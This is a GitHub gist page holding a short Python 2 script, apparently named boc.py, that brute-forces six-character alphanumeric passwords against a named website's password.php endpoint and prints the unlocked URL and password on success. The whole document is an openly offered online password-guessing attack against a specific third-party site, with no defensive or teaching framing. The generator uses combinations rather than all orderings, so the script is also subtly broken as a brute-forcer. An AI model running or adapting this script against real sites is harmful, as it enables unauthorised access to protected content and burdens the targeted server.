Skip to content

Instantly share code, notes, and snippets.

@elchappo
Forked from mekza/boc.py
Created April 30, 2013 14:06
Show Gist options
  • Save elchappo/5488941 to your computer and use it in GitHub Desktop.
Save elchappo/5488941 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
# -*- coding:utf-8 -*-
import itertools
import requests
import json
characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
password_length = 6
gen = itertools.combinations_with_replacement(characters,password_length)
for password in gen:
pwd = ''.join(password)
url = 'http://cosecha-transmisiones.com/password.php?attempt=%s' % pwd
r = requests.get(url)
if r.status_code == requests.codes.ok:
data = json.loads(r.text)
if data['error'] is not True:
print data['url'],pwd
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment